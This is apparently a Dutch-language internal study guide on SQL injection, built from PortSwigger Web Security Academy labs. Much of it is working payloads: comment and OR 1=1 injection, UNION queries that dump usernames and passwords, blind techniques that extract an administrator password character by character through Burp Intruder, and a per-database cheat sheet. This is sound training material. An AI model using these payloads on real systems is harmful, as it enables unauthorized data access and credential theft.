SQL Injection
Bron: PortSwigger Web Security Academy
Auteur: Johan Beysen | Fox & Fish Cybersecurity
1. Wat is SQL Injection?
SQL Injection (SQLi) is een web security vulnerability waarmee een aanvaller de SQL queries kan manipuleren die een applicatie naar de database stuurt. In plaats van gewone invoer te sturen, injecteer je SQL code — waardoor je de achterliggende query zelf aanpast.
Dit kan leiden tot:
- Inkijken van data die normaal niet zichtbaar mag zijn
- Aanpassen of verwijderen van data in de database
- Escalatie naar de onderliggende server of andere backend-infrastructuur
- Denial-of-service aanvallen
Waar zit SQLi het vaakst?
SQLi-kwetsbaarheden zitten het vaakst in de WHERE-clausule van een SELECT-query — maar ze kunnen op elk deel van een query voorkomen: UPDATE, INSERT, ORDER BY, tabelnamen, kolomnamen...
2. SQLi Detecteren
Manuele detectie doe je via een systematische reeks tests op elk entry point:
| Test | Wat je zoekt |
|---|---|
Enkelvoudig aanhalingsteken ' |
Errors of anomalieën |
| SQL-specifieke syntax | Basiswaarde vs. afwijkende waarde |
Boolean conditions OR 1=1 / OR 1=2 |
Verschil in response |
| Time delay payloads | Verschil in responstijd |
| OAST-payloads | Out-of-band netwerkinteractie |
Burp Scanner
Als alternatief kan je de grote meerderheid van SQLi's snel en betrouwbaar opsporen met Burp Scanner.
3. Hidden Data Ophalen
Stel je een webshop voor die producten per categorie toont. Wanneer de gebruiker op 'Gifts' klikt:
https://insecure-website.com/products?category=Gifts
De achterliggende SQL query:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
De restrictie released = 1 verbergt niet-uitgebrachte producten.
3.1 Comment Injection
Door -- (SQL comment-indicator) toe te voegen, wordt de rest van de query genegeerd:
https://insecure-website.com/products?category=Gifts'--
Resulteert in:
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
-- ^^^^^^^^^^^^^^^^ genegeerd
Gevolg: alle producten worden getoond, inclusief niet-uitgebrachte.
3.2 OR 1=1 Injection
https://insecure-website.com/products?category=Gifts'+OR+1=1--
Resulteert in:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
Omdat 1=1 altijd waar is, geeft de query simpelweg alles terug.
Gevaar van OR 1=1
Wees voorzichtig met OR 1=1. Applicaties gebruiken data uit één request vaak in meerdere queries. Als jouw conditie in een UPDATE of DELETE terechtkomt, kan je per ongeluk data vernietigen.
4. SQL Injection UNION Attacks
Met UNION kan je de resultaten van een extra SELECT-query vastplakken aan de originele query. Hiermee kan je data uit andere tabellen ophalen.
SELECT naam, prijs FROM producten
UNION
SELECT gebruiker, wachtwoord FROM users
Twee vereisten voor een werkende UNION
- Beide queries moeten hetzelfde aantal kolommen teruggeven
- De datatypes per kolom moeten compatibel zijn
4.1 Aantal Kolommen Bepalen
Verhoog tot je een error krijgt:
Gifts' ORDER BY 1-- → werkt
Gifts' ORDER BY 2-- → werkt
Gifts' ORDER BY 3-- → werkt
Gifts' ORDER BY 4-- → ERROR → dus 3 kolommen
Voeg NULLs toe tot geen error:
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL-- → werkt → dus 3 kolommen
Waarom NULL?
NULL is datatype-neutraal — het matcht altijd, ongeacht het kolomtype. Vandaar NULL en niet 1 of 'a'.
4.2 Bruikbare String-Kolommen Vinden
Eens je het aantal kolommen kent, zoek je uit welke kolommen strings accepteren:
' UNION SELECT 'a',NULL,NULL-- → error? kolom 1 is geen string
' UNION SELECT NULL,'a',NULL-- → werkt? kolom 2 is bruikbaar
' UNION SELECT NULL,NULL,'a'-- → ...
4.3 Kolom-Padding met NULL
Als de doeltabel meer kolommen heeft dan jouw injection-tabel, vul je de overschot op met NULL:
' UNION SELECT username, password, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
FROM users--
sqlmap
sqlmap doet dit automatisch. Manueel uitvoeren is nuttig om te begrijpen wat er gebeurt, maar in een echte engagement laat je sqlmap het vuile werk doen.
4.4 URL-Encoding
In een URL is een spatie niet geldig. + is de shorthand URL-encoding van een spatie:
' UNION SELECT NULL,NULL-- (leesbare versie)
'%20UNION%20SELECT%20NULL,NULL-- (formele URL-encoding)
'+UNION+SELECT+NULL,NULL-- (shorthand met +)
Burp Repeater
In Burp Repeater type je gewoon spaties — Burp regelt de encoding automatisch.
4.5 Meerdere Waarden in Één Kolom (CONCAT)
Als je slechts één bruikbare kolom hebt, kan je meerdere velden samenvoegen:
' UNION SELECT username || '~' || password FROM users--
' UNION SELECT CONCAT(username,'~',password) FROM users--
Resultaat:
administrator~s3cure
wiener~peter
carlos~montoya
Concatenatiesyntax
Elke database heeft andere concatenatiesyntax. Raadpleeg de SQL Injection Cheat Sheet (sectie 7) voor het juiste formaat per database.
4.6 Database-Structuur Opvragen
-- Tabellen oplijsten
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
-- Kolommen van een specifieke tabel
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns
+WHERE+table_name='users_abcdef'--
-- Tabellen oplijsten
'+UNION+SELECT+table_name,+NULL+FROM+all_tables--
-- Kolommen van een specifieke tabel
'+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns
+WHERE+table_name='USERS'--
Oracle uitzondering
Oracle gebruikt ALL_TABLES en ALL_COLUMNS in plaats van information_schema — die uitzondering kom je gegarandeerd tegen in de PortSwigger labs.
5. Database Fingerprinting
Altijd als eerste stap uitvoeren
Voer fingerprinting altijd uit vóór je begint met exploitation. Elke database heeft andere syntax — verkeerde aannames kosten veel tijd.
| Database | Version Query |
|---|---|
| Oracle | SELECT banner FROM v$version |
| Oracle | SELECT version FROM v$instance |
| Microsoft SQL | SELECT @@version |
| PostgreSQL | SELECT version() |
| MySQL | SELECT @@version |
Snelste Oracle-check: als SELECT '' FROM dual werkt zonder error → Oracle database.
6. Blind SQL Injection
Soms geeft de HTTP-response de queryresultaten niet weer — ook geen foutmeldingen. UNION-attacks zijn dan zinloos. In dat geval gebruik je Blind SQLi.
6.1 Conditionele Responses (Welcome Back)
Als de applicatie een zichtbaar verschil toont op basis van true/false:
-- Conditie WAAR → "Welcome back" zichtbaar
xyz' AND '1'='1
-- Conditie ONWAAR → geen "Welcome back"
xyz' AND '1'='2
Wachtwoord karakter per karakter ophalen via binary search:
-- Eerste karakter > 'm' ?
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
-- Eerste karakter > 't' ?
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
-- Eerste karakter = 's' ?
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
SUBSTRING syntax
SUBSTRING(string, start, lengte) — SUBSTRING(..., 1, 1) = begin op positie 1, neem 1 karakter.
6.2 Lengte Bepalen
xyz' AND LENGTH((SELECT Password FROM Users WHERE Username = 'Administrator')) = 20--
Verhoog stap per stap totdat de conditie faalt — dan ken je de exacte lengte.
6.3 Automatiseren via Burp Intruder
TrackingId=xyz' AND SUBSTRING((SELECT password FROM users
WHERE username='administrator'),§1§,1)='§a§
Instellingen:
| Setting | Waarde |
|---|---|
| Attack type | Cluster Bomb |
| Payload 1 | 1, 2, 3 ... (positie in string) |
| Payload 2 | a-z + 0-9 (charset) |
| Grep - Match | Welcome back |
Burp Pro vs Community
HTTP 500 = match | HTTP 200 = geen match. Burp Community is throttled — Burp Pro draait dit aan volle snelheid.
6.4 Conditionele Errors (geen zichtbare response)
Als de applicatie geen zichtbaar verschil toont, trigger je opzettelijk een database-error als signaal:
CASE WHEN (conditie) THEN 1/0 ELSE 'a' END
-- Conditie WAAR → 1/0 → divide-by-zero ERROR → HTTP 500
-- Conditie ONWAAR → 'a' → geen error → HTTP 200
Toegepast op een wachtwoord:
xyz' AND (SELECT CASE WHEN (Username='Administrator'
AND SUBSTRING(Password,1,1) > 'm')
THEN 1/0 ELSE 'a' END)='a
6.5 Oracle-Specifieke Syntax
Oracle gebruikt andere syntax — dit bleek cruciaal in de labs:
-- Concatenatie ipv AND
vFrjyzDJZ53fW41J'||(SELECT CASE WHEN SUBSTR(password,1,1)='a'
THEN TO_CHAR(1/0) ELSE '' END FROM users
WHERE username='administrator')||'
| Eigenschap | MySQL/MSSQL | Oracle |
|---|---|---|
| Injectie via | AND |
Concatenatie \|\| |
| Divide-by-zero | 1/0 |
TO_CHAR(1/0) |
| Substring | SUBSTRING() |
SUBSTR() |
| Dummy tabel | niet nodig | FROM dual |
6.6 Oracle Stap-voor-Stap Aanpak
Stap 1 — Database type bepalen
TrackingId=xyz' -- error?
TrackingId=xyz'' -- error verdwijnt?
TrackingId=xyz'||(SELECT '')||' -- nog error?
TrackingId=xyz'||(SELECT '' FROM dual)||' -- geen error → Oracle!
Stap 2 — Tabel en gebruiker verifiëren
TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ''
END FROM users WHERE username='administrator')||'
Stap 3 — Wachtwoordlengte bepalen
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1
THEN TO_CHAR(1/0) ELSE '' END FROM users
WHERE username='administrator')||'
Stap 4 — Karakter per karakter via Intruder
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§'
THEN TO_CHAR(1/0) ELSE '' END FROM users
WHERE username='administrator')||'
Reminder
HTTP 500 = match, HTTP 200 = geen match. Herhaal voor elke positie 1 t.e.m. 20.
7. SQL Injection Cheat Sheet
Bron: portswigger.net/web-security/sql-injection/cheat-sheet
String Concatenatie
| Database | Syntax |
|---|---|
| Oracle | 'foo'\|\|'bar' |
| Microsoft | 'foo'+'bar' |
| PostgreSQL | 'foo'\|\|'bar' |
| MySQL | 'foo' 'bar' of CONCAT('foo','bar') |
Substring
| Database | Syntax |
|---|---|
| Oracle | SUBSTR('foobar', 4, 2) |
| Microsoft | SUBSTRING('foobar', 4, 2) |
| PostgreSQL | SUBSTRING('foobar', 4, 2) |
| MySQL | SUBSTRING('foobar', 4, 2) |
Comments
| Database | Syntax |
|---|---|
| Oracle | --comment |
| Microsoft | --comment of /*comment*/ |
| PostgreSQL | --comment of /*comment*/ |
| MySQL | #comment of -- comment of /*comment*/ |
Database Version
| Database | Query |
|---|---|
| Oracle | SELECT banner FROM v$version |
| Microsoft | SELECT @@version |
| PostgreSQL | SELECT version() |
| MySQL | SELECT @@version |
Database Contents
| Database | Query |
|---|---|
| Oracle | SELECT * FROM all_tables |
| Oracle | SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME' |
| Microsoft | SELECT * FROM information_schema.tables |
| Microsoft | SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME' |
| PostgreSQL | SELECT * FROM information_schema.tables |
| PostgreSQL | SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME' |
| MySQL | SELECT * FROM information_schema.tables |
| MySQL | SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME' |
Conditionele Errors
| Database | Syntax |
|---|---|
| Oracle | SELECT CASE WHEN (CONDITIE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
| Microsoft | SELECT CASE WHEN (CONDITIE) THEN 1/0 ELSE NULL END |
| PostgreSQL | 1 = (SELECT CASE WHEN (CONDITIE) THEN 1/(SELECT 0) ELSE NULL END) |
| MySQL | SELECT IF(CONDITIE,(SELECT table_name FROM information_schema.tables),'a') |
Time Delays
| Database | Syntax (10 sec) |
|---|---|
| Oracle | dbms_pipe.receive_message(('a'),10) |
| Microsoft | WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT pg_sleep(10) |
| MySQL | SELECT SLEEP(10) |
Conditionele Time Delays
| Database | Syntax |
|---|---|
| Oracle | SELECT CASE WHEN (CONDITIE) THEN 'a'\|\|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
| Microsoft | IF (CONDITIE) WAITFOR DELAY '0:0:10' |
| PostgreSQL | SELECT CASE WHEN (CONDITIE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
| MySQL | SELECT IF(CONDITIE,SLEEP(10),'a') |
Batched Queries
| Database | Support |
|---|---|
| Oracle | Niet ondersteund |
| Microsoft | QUERY-1; QUERY-2 |
| PostgreSQL | QUERY-1; QUERY-2 |
| MySQL | QUERY-1; QUERY-2 (beperkte support) |
Fox & Fish Cybersecurity | Intern gebruik